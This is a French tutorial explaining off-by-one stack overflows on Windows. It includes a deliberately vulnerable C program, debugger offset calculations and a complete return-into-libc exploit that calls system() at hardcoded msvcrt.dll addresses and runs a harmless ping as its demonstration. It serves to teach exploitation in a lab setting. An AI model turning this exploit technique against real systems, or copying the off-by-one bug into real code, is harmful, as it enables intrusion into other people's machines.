L'Off By One

Ghosts In The Stack
http://www.ghostsinthestack.org

Heurs

Résumé

L'off by one est une faille applicative assez dur à classer. Certains la qualifient d'overflow ; personnellement je considère que c'est un "mini-overflow". En fait, c'est un débordement de tampon sur [b]un seul[/b] octet. Cette contrainte fait que l'exploitation de cette vulnérabilité est plus compliquée qu'un simple buffer overflow. Cet article l'explique en détails.

Table des matières

1 Prologue et Epilogue **1**

2 La faille en concret **2**

3 Exploitation **6**

1 Prologue et Epilogue

Le prologue et l'épilogue sont des règles de base quand on programme en assembleur. Ils permettent d'executer une fonction sans endomager les données environnantes. Vous devez probablement les rencontrer à chaque déboggage. Le prologue se compose en deux instructions :

```
PUSH EBP
MOV EBP, ESP
```

Généralement un "SUB ESP, 80" par exemple suit le prologue. Ca sert à allouer l'espace mémoire pour stocker les données temporaires. Maintenant l'épilogue (on en trouve 2 sortes), la première :

```
LEAVE
RET
```

Et la deuxième :

```
MOV ESP, EBP
POP EBP
RET
```

<p>Il n'y a strictement aucune différence entre les deux si ce n'est le nombre d'opcodes et le temps processeur.

On peut voir que le prologue sauvegarde la configuration de la pile (ou stack) et que l'épilogue la restaure. Cela veut dire que si un buffer overflow a lieu, il écrasera la sauvegarde d'EBP et donc le pointeur du bas de la stack sera entièrement désordoné. Jusqu'à là ce n'est pas vraiment notre problème car généralement on saute sur un shellcode.

Regardons à présent quel bug peut se produire si seule la sauvegarde d'EBP est écrasée.

2 La faille en concret

Admettons un programme appelant une fonction en interne, et cette fonction est vulénarble. Un buffer overflow se produit (mais n'écrasent que la sauvegarde d'EBP)... Regardons alors ce que cela provoque :

```
PUSH EBP
MOV EBP, ESP
...
   PUSH EBP
   MOV EBP, ESP
   ...
   le débordement a lieu
   ...
   MOV ESP, EBP
   POP EBP
   RET
...
MOV ESP, EBP
POP EBP
RET
```

En rouge nous voyons les registres corrompus. On peut remarquer qu'au retour de la fonction où le débordement a lieu, le registre ESP est tout a fait correct, donc la suite du programme se déroule correctement. Arrivé à l'épilogue de la fonction principale nous plaçons EBP dans ESP. Seulement, EBP a été écrasé... nous remplacons donc ESP par la valeur corrompue. Nous savons bien que RET (l'instruction suivante) fait un POP EIP... donc cela veut dire que l'on prend l'adresse pointée par ESP pour sauter dessus. Comme ESP a été corrompu on peut donc pointer sur une autre valeur et donc sauter ou on le souhaite.

Allez, passons à la pratique! Je suis sous Windows, car sous Linux, à cause des paddings et de l'endroit où sont stockés les arguments c'est plus galère à faire. Et comme on fait une initation, cela ne change pas le problème. Voici le code du programme vunlérable :

```
#include <stdio.h>;

void vuln(char * strSource);
void exploitation(void);

int main(int argc, char * argv[]) {
   if (argc < 2) return 0;
   printf("Copie en cours...");
   vuln(argv[1]);
   return 0;
}
```

```
void vuln(char * strSource) {
   char buffer[1024];

   strncpy(buffer, strSource, 1024);
   buffer[1024] = 0;
   return;
}

void exploitation(void){
   printf("\nDetournement du programme reussi !\n");
   exit(0);
}
```

Dans un premier temps, nous essaierons de sauter sur la fonction exploitation(). J'ai mis en rouge la ligne où le 'bug' se produira. Dans son enssemble le programme va appeler la fonction vuln() qui copira ARGV[1] dans un buffer (sans déborder, grace à strncpy()) puis un bit null sera placé à argv[1][1024]. C'est là que se situe la faille : pour les pointeurs, le [0] est le 1er octet, et donc le [1024] sera le 1025e octet. Au 1025e octet nous allons alors toucher un octet en dehors de notre buffer. Et cet octet tombe exactement dans EBP, pas de bol pour le programme... Le dernier octet d'EBP sera donc mis à 0, c'est comme si on faisait à EBP un "AND EBP, FFFFFF00". Lors du "MOV ESP,EBP" final nous allons alors fair remonter ESP bien plus haut que ce qu'il devrait etre (avec un peu de chance dans notre buffer) et donc le ret se produira sur une autre adresse mais toujours dans la stack (avec un peu de chance que nous aurons pu modifier).

Une petite remaque pour la compilation du programme : GCC 3.x ajoute un padding par défaut a chaque fin de chaine, il faut donc compiler le code source avec la commande suivante (afin de retirer ce padding) :

```
gcc -o vuln.exe vuln.c -mpreferred-stack-boundary=2
```

Notre prog est compilé, voyons alors ce que cela donne si on remplit le buffer :

```
C:\>python -c "print 'a'*1024"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

C:\>vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

```
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copie en cours...
```

A ce momment on a notre gestionnaire d'exception habituel qui se lance, on affiche donc le rapport d'erreurs et on voit que cela a planté à cette adresse : "Offset : 61616161". Tiens, mais c'est notre buffer ça :-)

Afin de mieux voir ce qui se passe, on va débugger avec Ollydbg. Je pose un breakpoint sur le "call strncpy" et sur le ret de la fonction main(). Grace a ces deux point d'arret nous pourrons calculer à partir de combien d'octets nous réécrirons la sauvegarde d'EIP. J'ai donc placé les breakpoints aux adresses suivantes :

```
004012F3  |. E8 38050000    CALL <JMP.&msvcrt.strncpy>               ; \strncpy
...
004012D1  \. C3             RETN
```

Arrivé à 004012F3 nous remarquons que les arguments suivants sont passés à la fonction :

```
0022FB5C   0022FB68  |dest = 0022FB68
0022FB60   003D255D  |src = "aaa[...]aaa"...
0022FB64   00000400  \maxlen = 400 (1024.)
```

Puis nous continuons jusqu'à 004012D1. A ce momment si nous regardons où pointe ESP, nous voyons cela :

```
0022FF04   61616161
```

En faisent 0x0022FF04 - 0x0022FB68 nous aurons à partir de combien d'octets EIP sera réécrit, soit 924. Testons donc ceci :

```
C:\>python -c "print 'a'*924+'bbbb'"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb

C:\>vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

```
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aa
```

3 Exploitation

Ici, je vais aller vite. Pour ceux qui ne savent pas comment s'empile les adresses d'appel aux fonctions et pointeurs je les renvoient à l'article[1] sur les return into libc. Je vais donc rediriger EIP vers l'appel system() qui se trouve à l'adresse 77BF8044 dans msvcrt.dll. Puis nous allons empiler l'adresse de retour de "exitprocess" situé dans kernel32.dll , cela nous permettra de quitter proprement. Et enfin, sera empilé un pointeur vers argv[0] (pour mon exploit tout du moins) qui sera la commande executé par system(). Le code source de l'exploit est le suivant :

```
#include <stdio.h>

int main(int argc, char * argv[]) {
  char * arguments[] = {"\"ping 192.168.0.1\"",
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  a\x44\x80\xBF\x77\xFD\x98\xE5\x77\x41\x24\x3d","Exploitation_Avancée",0};



  //^--------------^ ^-------------^ ^----------^



  //    system         exitprocess      argv[0]
  printf("Exploitation... \n");
  execve("C:\\vuln.exe", arguments);
  printf("[OK]");
  getch();
  return 0;
}
```

Pour m'amuser, je n'ai lancé qu'un simple ping. Voyons le résultat :

```
C:\>exploit-off_by_one_avancer
Exploitation...

C:\>Copie en cours...
Envoi d'une requête 'ping' sur 192.168.0.1 avec 32 octets de donnéesă:

Réponse de 192.168.0.1ă: octets=32 temps<1ms TTL=64
Réponse de 192.168.0.1ă: octets=32 temps<1ms TTL=64
```

[1] article-12-return-into-libc.html

```
Réponse de 192.168.0.1ă: octets=32 temps<1ms TTL=64
Réponse de 192.168.0.1ă: octets=32 temps<1ms TTL=64

Statistiques Ping pour 192.168.0.1:
    Paquetsă: envoyés = 4, reçus = 4, perdus = 0 (perte 0%),
Durée approximative des boucles en millisecondes :
    Minimum = 0ms, Maximum = 0ms, Moyenne = 0ms
```

Evidemment, on peut exploiter cette faille par shellcode... mais bon c'était plus sympa de faire le recoupement avec le ret into libc :).

Conclusion

Certains peuvent se dire qu'on ne trouve et ne trouvera jamais ce genre de vunlérabilité. Fausse idée, par exemple Proftpd en avait plusieurs a son actif. Certes il est plus long d'exploiter un off by one ou off by two (comme dans le cas de proftpd) qu'un buffer overflow normal. Mais étant donné que cette vulnérabilité existe je trouvais normal de la présenter.

Références

- Hackademy - Trés bon article de HeXoR sur cette faille[2]

[2] http://www.thehackademy.net/article.php?story_id=81\&section_id=57